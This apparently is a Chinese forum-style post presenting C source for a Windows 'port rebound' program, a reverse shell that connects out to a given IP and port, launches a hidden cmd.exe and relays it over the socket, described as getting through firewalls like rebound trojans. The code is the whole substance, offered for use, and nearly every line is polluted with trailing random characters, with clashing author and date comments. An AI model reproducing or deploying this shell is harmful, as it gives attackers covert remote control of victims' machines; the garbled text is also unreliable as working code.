Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 -X}R(.}x  
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/* ============================== tl^[MLQa  
Rebound port in Windows NT "\=_
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By wind,2006/7 Y) t}%62  
===============================*/ TQ2Tt"  
#include 3CHte*NL=  
#include #EM'=Q%TO  
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#pragma comment(lib,"wsock32.lib") GQZUC\cB  
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void OutputShell(); }I`|*6Up  
SOCKET sClient;  Fszk?0T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /&dt!.WY^  
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void main(int argc,char **argv) 5y'Yosy:  
{ Bm7GU
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WSADATA stWsaData; } 
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int nRet; *Sf^()5C,  
SOCKADDR_IN stSaiClient,stSaiServer; ^9RBG#ud  
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if(argc != 3) yEny2q}  
{ #?=cg]v_  
printf("Useage:\n\rRebound DestIP DestPort\n"); D/Wuan?yPN  
return; 9$S,P|  
} >dl!Ep  
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WSAStartup(MAKEWORD(2,2),&stWsaData); rh_({rvQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1m)/_y~1 k  
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stSaiClient.sin_family = AF_INET; dW`D?$(@,  
stSaiClient.sin_port = htons(0); 1W g8jr's  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A!kyga6F5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \d+HYLAJn  
{ eQx"nl3U%  
printf("Bind Socket Failed!\n"); {ybuHC  
return; ,')bO*Ng  
} YM|S<  
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stSaiServer.sin_family = AF_INET; k I~]u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dE]"^O#Mc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,Tl5@RN  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @;}H<&"  
{ <yPHdbF  
printf("Connect Error!");  ^gyp- !  
return; vWH>k+9&X  
} YMTA`T(+  
OutputShell(); `W n5 .V  
} v`BG1&/|  
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void OutputShell() #L0I+ K,K\  
{ L"I] mQvd  
char szBuff[1024]; \ZR
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SECURITY_ATTRIBUTES stSecurityAttributes; })lT fy  
OSVERSIONINFO stOsversionInfo; <WJ0St  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N-9gfG  
STARTUPINFO stStartupInfo; ~UC/|t$  
char *szShell; {7>CA'>  
PROCESS_INFORMATION stProcessInformation; _vV&4>  
unsigned long lBytesRead; b6vYM_ Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dJ:x1j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |u r~s$8y-  
stSecurityAttributes.lpSecurityDescriptor = 0; \%Rta$O?S  
stSecurityAttributes.bInheritHandle = TRUE; 6.s?  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hO.G'q$V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n E}<e:  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1bZiPG{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J%:/<uCmZ  
stStartupInfo.wShowWindow = SW_HIDE; a
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stStartupInfo.hStdInput = hReadPipe; |;9 A{#zM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DsJn#>?Kh  
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GetVersionEx(&stOsversionInfo); !LIfeL.4h  
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switch(stOsversionInfo.dwPlatformId) ),Ho(%T\  
{ } .3]   
case 1: j8Q5d`  
szShell = "command.com"; U+PCvl=x  
break; ^]qV8
 
default: Bd9hf`%2  
szShell = "cmd.exe"; Yuo1'gE+  
break; d&T6p&V$  
} r7"Au"  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6~F#F)C'  
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send(sClient,szMsg,77,0); AuDR |;i  
while(1) 0L0Jc,(F+  
{ 7<1fKrN?GF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |5~wwL@LW7  
if(lBytesRead) `e?;vA&  
{ <Hh5u~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3 "l F  
send(sClient,szBuff,lBytesRead,0); J7ktfyQ0W  
} !jAWNK6  
else >{ECyh;  
{ "VDk1YX_&l  
lBytesRead=recv(sClient,szBuff,1024,0); VPM|Rj:d  
if(lBytesRead<=0) break; VZ2.w4b  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0Q$~
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} EItxRHV5  
} ]PlY}VOY  
*f`s%&Y]s  
return; xHv|ca.E  
}